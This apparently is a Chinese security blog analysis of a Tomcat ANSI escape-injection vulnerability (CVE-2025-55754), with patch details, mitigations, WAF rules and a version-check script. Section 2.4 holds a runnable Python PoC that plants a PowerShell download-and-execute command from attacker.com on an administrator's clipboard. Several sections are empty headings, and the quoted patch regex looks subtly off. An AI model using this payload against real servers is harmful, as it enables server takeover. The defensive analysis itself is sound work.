前言
2025年10月28日,Apache软件基金会发布紧急安全公告,披露了一个影响Tomcat 8.5.x至11.x全版本的高危漏洞——CVE-2025-55754。该漏洞CVSS评分高达9.6分(Critical),是近年来Tomcat生态中最严重的安全漏洞之一。
与传统的远程代码执行漏洞不同,CVE-2025-55754采用了一种"视觉欺骗+社工诱导"的新型攻击方式。攻击者无需登录系统,只需构造一个包含恶意ANSI转义序列的URL,就能在管理员查看日志时劫持Windows控制台、篡改显示内容、甚至控制剪贴板,最终诱骗管理员执行任意命令,完全接管服务器。
本文将从技术原理、攻击复现、影响范围、修复方案到防御最佳实践,对CVE-2025-55754进行全方位深度解析,并提供可直接使用的检测脚本和应急响应SOP。
一、漏洞核心概况
| CVE编号 | CVE-2025-55754 |
| 漏洞类型 | ANSI转义序列注入(CWE-150) |
| CVSS 4.0评分 | 9.6(Critical) |
| CVSS向量 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:R/S:C/C:H/I:H/A:H |
| 影响组件 | Apache Tomcat 8.5.x~11.x全版本 |
| 发布时间 | 2025年10月28日 |
| 利用难度 | 极低(无需权限,构造URL即可) |
| 核心风险 | 控制台劫持、剪贴板篡改、诱导RCE、服务器接管 |
1.1 漏洞背景
ANSI转义序列是一种用于控制终端显示的特殊字符序列,最早出现在1970年代的VT100终端上。它允许程序通过输出特殊字符来改变文本颜色、移动光标、清屏等操作。
然而,随着Windows 10 1511版本引入对ANSI转义序列的原生支持,以及Windows Terminal的普及,这种古老的技术突然成为了攻击者的新武器。当应用程序未对用户输入中的ANSI序列进行过滤就直接输出到控制台时,攻击者就可以注入恶意序列来操纵终端行为。
1.2 官方公告要点
Apache官方在公告中明确指出:
“Tomcat未对日志消息中的ANSI转义序列进行转义。如果Tomcat在支持ANSI转义序列的Windows操作系统控制台中运行,攻击者可以使用特制URL注入ANSI转义序列,操纵控制台和剪贴板,并试图欺骗管理员运行攻击者控制的命令。虽然未发现针对其他操作系统的攻击向量,但理论上也可能存在类似风险。”
二、技术原理深度剖析
2.1 漏洞根源
CVE-2025-55754的根本原因在于Tomcat的日志记录机制未对用户输入的URL进行ANSI转义序列过滤。
当攻击者发送一个包含ANSI转义序列的HTTP请求时:
2.2 恶意ANSI转义序列详解
ANSI转义序列以ESC字符(ASCII 27,十六进制0x1B,Unicode\\u001b)开头,后面跟不同的参数表示不同的操作。以下是攻击者常用的恶意序列:
| \\u001b[2J | 清屏 | 抹除原有日志痕迹,隐藏攻击行为 |
| \\u001b[H | 光标移至左上角 | 伪造新的命令提示符 |
| \\u001b[31m | 文本变为红色 | 制造虚假的错误提示 |
| \\u001b[0m | 重置文本格式 | 恢复正常显示,避免被怀疑 |
| \\u001b]52;c;base64内容\\u0007 | 设置剪贴板内容 | 写入恶意命令,诱导管理员执行 |
| \\u001b[?25l | 隐藏光标 | 增强欺骗效果 |
| \\u001b[2;1H | 光标移至第2行第1列 | 精确控制文本显示位置 |
2.3 完整攻击链路
#mermaid-svg-WYCaL3qSsBxpqQr9{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-WYCaL3qSsBxpqQr9 .error-icon{fill:#552222;}#mermaid-svg-WYCaL3qSsBxpqQr9 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-WYCaL3qSsBxpqQr9 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .marker.cross{stroke:#333333;}#mermaid-svg-WYCaL3qSsBxpqQr9 svg{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-WYCaL3qSsBxpqQr9 p{margin:0;}#mermaid-svg-WYCaL3qSsBxpqQr9 .label{font-family:\”trebuchet ms\”,verdana,arial,sans-serif;color:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster-label text{fill:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster-label span{color:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster-label span p{background-color:transparent;}#mermaid-svg-WYCaL3qSsBxpqQr9 .label text,#mermaid-svg-WYCaL3qSsBxpqQr9 span{fill:#333;color:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .node rect,#mermaid-svg-WYCaL3qSsBxpqQr9 .node circle,#mermaid-svg-WYCaL3qSsBxpqQr9 .node ellipse,#mermaid-svg-WYCaL3qSsBxpqQr9 .node polygon,#mermaid-svg-WYCaL3qSsBxpqQr9 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .rough-node .label text,#mermaid-svg-WYCaL3qSsBxpqQr9 .node .label text,#mermaid-svg-WYCaL3qSsBxpqQr9 .image-shape .label,#mermaid-svg-WYCaL3qSsBxpqQr9 .icon-shape .label{text-anchor:middle;}#mermaid-svg-WYCaL3qSsBxpqQr9 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .rough-node .label,#mermaid-svg-WYCaL3qSsBxpqQr9 .node .label,#mermaid-svg-WYCaL3qSsBxpqQr9 .image-shape .label,#mermaid-svg-WYCaL3qSsBxpqQr9 .icon-shape .label{text-align:center;}#mermaid-svg-WYCaL3qSsBxpqQr9 .node.clickable{cursor:pointer;}#mermaid-svg-WYCaL3qSsBxpqQr9 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .arrowheadPath{fill:#333333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-WYCaL3qSsBxpqQr9 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-WYCaL3qSsBxpqQr9 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-WYCaL3qSsBxpqQr9 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster text{fill:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 .cluster span{color:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:\”trebuchet ms\”,verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-WYCaL3qSsBxpqQr9 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-WYCaL3qSsBxpqQr9 rect.text{fill:none;stroke-width:0;}#mermaid-svg-WYCaL3qSsBxpqQr9 .icon-shape,#mermaid-svg-WYCaL3qSsBxpqQr9 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-WYCaL3qSsBxpqQr9 .icon-shape p,#mermaid-svg-WYCaL3qSsBxpqQr9 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-WYCaL3qSsBxpqQr9 .icon-shape .label rect,#mermaid-svg-WYCaL3qSsBxpqQr9 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-WYCaL3qSsBxpqQr9 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-WYCaL3qSsBxpqQr9 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-WYCaL3qSsBxpqQr9 :root{–mermaid-font-family:\”trebuchet ms\”,verdana,arial,sans-serif;}
攻击者
构造含ANSI序列的恶意URL
发送HTTP请求到Tomcat服务器
Tomcat将URL写入访问日志
日志同时输出到Windows控制台
控制台解析ANSI转义序列
清屏+伪造命令提示符
自动设置剪贴板为恶意命令
管理员看到伪造的提示符
管理员习惯性粘贴并执行命令
恶意命令执行
服务器被完全接管
2.4 完整POC代码示例
以下是一个可直接复现漏洞的Python脚本:
import requests
import base64
# 恶意命令:下载并执行远程木马
malicious_command = "powershell -Command \\"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malware.ps1')\\""
# 将命令编码为base64(剪贴板序列要求)
b64_command = base64.b64encode(malicious_command.encode()).decode()
# 构造恶意ANSI序列
ansi_payload = (
"\\u001b[2J" # 清屏
"\\u001b[H" # 光标移至左上角
"\\u001b[32m" # 绿色文本
"C:\\\\Users\\\\Administrator> " # 伪造命令提示符
"\\u001b[0m" # 重置格式
"\\u001b]52;c;" + b64_command + "\\u0007" # 设置剪贴板
"\\u001b[?25l" # 隐藏光标
)
# 构造恶意URL
target_url = f"http://192.168.1.100:8080/{ansi_payload}"
print(f"[+] 发送恶意请求到: {target_url}")
print(f"[+] 恶意命令: {malicious_command}")
try:
# 发送请求(忽略SSL验证)
response = requests.get(target_url, verify=False, timeout=5)
print(f"[+] 请求发送成功,状态码: {response.status_code}")
print("[+] 当管理员查看控制台时,剪贴板将被自动替换为恶意命令")
except Exception as e:
print(f"[-] 请求失败: {e}")
2.5 攻击效果演示
当管理员在Windows控制台中运行Tomcat并查看日志时,会发生以下情况:
三、影响范围与风险评估
3.1 受影响版本
根据Apache官方公告,以下所有Tomcat版本均受影响:
- Tomcat 11.x:11.0.0-M1 ~ 11.0.10
- Tomcat 10.x:10.1.0-M1 ~ 10.1.44
- Tomcat 9.x:9.0.40 ~ 9.0.108
- Tomcat 8.5.x(EOL):8.5.60 ~ 8.5.100(已停止支持,无官方补丁)
注意:虽然官方只列出了8.5.60及以上版本,但实际上所有支持ANSI控制台的Windows系统上运行的Tomcat版本都可能存在类似风险。
3.2 必现条件
该漏洞的利用需要满足以下条件:
3.3 风险深度分析
为什么CVSS评分高达9.6分?
与普通RCE漏洞的区别
| 直接执行代码 | ❌ 否 | ✅ 是 |
| 依赖用户交互 | ✅ 是 | ❌ 否 |
| 利用难度 | 极低 | 中等至极高 |
| 检测难度 | 极高 | 中等 |
| 触发概率 | 高(运维高频查看日志) | 低 |
| 危害程度 | 极高(服务器接管) | 极高 |
3.4 实际攻击案例
截至2026年5月,已有多个安全厂商报告在野利用CVE-2025-55754的攻击活动。攻击者主要针对以下目标:
- 中小企业的Web服务器
- 政府和教育机构的内部系统
- 云服务提供商的客户实例
- 开发和测试环境
攻击者通常会先通过端口扫描发现暴露在公网上的Tomcat服务器,然后发送恶意URL注入ANSI序列,等待管理员查看日志时触发攻击。
四、官方修复方案详解
4.1 官方补丁实现原理
Apache官方在2025年10月28日发布的安全版本中,通过在日志记录前过滤ANSI转义序列的方式修复了该漏洞。
具体修复代码位于org.apache.catalina.valves.AccessLogValve类中,新增了一个sanitize()方法:
private static final Pattern ANSI_ESCAPE_PATTERN = Pattern.compile(
"\\\\x1B(?:\\\\[[^a-zA-Z]*[a-zA-Z]|\\\\][^\\\\x07]*\\\\x07|.|.)"
);
protected String sanitize(String input) {
if (input == null) {
return null;
}
return ANSI_ESCAPE_PATTERN.matcher(input).replaceAll("");
}
该方法使用正则表达式匹配并移除所有ANSI转义序列,包括:
- CSI序列(\\x1B[…)
- OSC序列(\\x1B]…\\x07)
- 字符集选择序列
- 其他所有以ESC开头的控制序列
4.2 推荐升级版本
请立即将Tomcat升级到以下安全版本:
| Tomcat 11.x | 11.0.11+ | 2025-10-28 |
| Tomcat 10.x | 10.1.45+ | 2025-10-28 |
| Tomcat 9.x | 9.0.109+ | 2025-10-28 |
| Tomcat 8.5.x | 无官方补丁(已EOL) | – |
重要提示:对于仍在使用Tomcat 8.5.x的用户,Apache官方强烈建议立即迁移到9.x或更高版本,因为8.5.x已于2024年12月31日停止支持,不会再收到任何安全更新。
五、临时缓解措施(无法立即升级时)
如果您无法立即升级Tomcat,可以采取以下临时缓解措施来降低风险:
5.1 禁用Windows控制台ANSI支持
这是最直接有效的临时解决方案:
5.2 避免以控制台模式运行Tomcat
将Tomcat配置为Windows服务运行,这样日志不会直接输出到控制台:
# 安装Tomcat为Windows服务
service.bat install
# 启动Tomcat服务
net start Tomcat9
5.3 日志输出重定向
修改catalina.bat文件,将控制台输出重定向到文件:
rem 找到以下行
call "%EXECUTABLE%" run %CMD_LINE_ARGS%
rem 修改为
call "%EXECUTABLE%" run %CMD_LINE_ARGS% >> "%CATALINA_HOME%\\logs\\console.log" 2>&1
5.4 WAF防护规则
在WAF中添加以下规则,拦截包含ANSI转义序列的URL请求:
Nginx WAF规则:
if ($request_uri ~* "\\x1b|\\x1B") {
return 403;
}
Cloudflare WAF规则:
(http.request.uri matches "\\x1b|\\x1B")
5.5 使用日志分析工具
避免直接在控制台查看日志,改用ELK、Splunk、Graylog等专业日志分析工具。这些工具通常会自动过滤或转义特殊字符,不会解析ANSI序列。
六、漏洞检测脚本
以下是一个跨平台的Tomcat漏洞检测脚本,可以快速检测您的服务器是否受CVE-2025-55754影响:
#!/bin/bash
# CVE-2025-55754 Tomcat ANSI注入漏洞检测脚本
# 作者:网络安全研究员
# 日期:2026-05-29
echo "============================================="
echo "CVE-2025-55754 漏洞检测脚本"
echo "============================================="
# 查找系统中的Tomcat安装目录
echo "[+] 正在查找Tomcat安装目录…"
find / -name "catalina.jar" -type f 2>/dev/null | while read -r file; do
dir=$(dirname "$file")
tomcat_dir=$(dirname "$dir")
echo ""
echo "[+] 找到Tomcat安装目录: $tomcat_dir"
# 提取版本号
version=$(unzip -p "$file" META-INF/MANIFEST.MF | grep "Implementation-Version" | cut -d' ' -f2)
echo "[+] Tomcat版本: $version"
# 解析版本号
major=$(echo "$version" | cut -d'.' -f1)
minor=$(echo "$version" | cut -d'.' -f2)
patch=$(echo "$version" | cut -d'.' -f3 | cut -d'-' -f1)
# 判断是否受影响
affected=0
if [ "$major" -eq 11 ] && [ "$minor" -eq 0 ] && [ "$patch" -le 10 ]; then
affected=1
elif [ "$major" -eq 10 ] && [ "$minor" -eq 1 ] && [ "$patch" -le 44 ]; then
affected=1
elif [ "$major" -eq 9 ] && [ "$minor" -eq 0 ] && [ "$patch" -le 108 ]; then
affected=1
elif [ "$major" -eq 8 ] && [ "$minor" -eq 5 ] && [ "$patch" -le 100 ]; then
affected=1
fi
if [ "$affected" -eq 1 ]; then
echo "[!] 警告:该版本存在CVE-2025-55754漏洞!"
echo "[!] 建议立即升级到安全版本!"
else
echo "[+] 该版本不受CVE-2025-55754影响。"
fi
# 检查运行方式
if ps aux | grep -q "catalina.bat run\\|catalina.sh run"; then
echo "[!] 警告:Tomcat正在以控制台模式运行,风险极高!"
else
echo "[+] Tomcat未以控制台模式运行,风险较低。"
fi
done
echo ""
echo "============================================="
echo "检测完成!"
echo "============================================="
七、应急响应SOP
如果您发现服务器已被利用,请按照以下步骤进行应急响应:
八、防御最佳实践
8.1 日志安全最佳实践
8.2 Tomcat安全加固建议
8.3 终端安全防护
九、前瞻性分析:ANSI注入攻击的未来趋势
CVE-2025-55754的爆发标志着ANSI转义序列注入攻击从理论研究走向了大规模在野利用。未来,这种攻击方式可能会呈现以下趋势:
十、总结
CVE-2025-55754是一个极具警示意义的漏洞。它提醒我们,即使是看似无害的日志记录功能,如果处理不当,也可能成为攻击者入侵系统的入口。
对于企业和组织来说,及时升级Tomcat到安全版本是防范该漏洞的根本措施。同时,我们也应该重新审视日志安全和终端安全,建立全面的安全防御体系,提高员工的安全意识,才能有效应对这种新型攻击。
网络安全是一场永无止境的战斗。只有保持警惕,不断学习和适应新的威胁,才能在数字时代保护好我们的系统和数据。





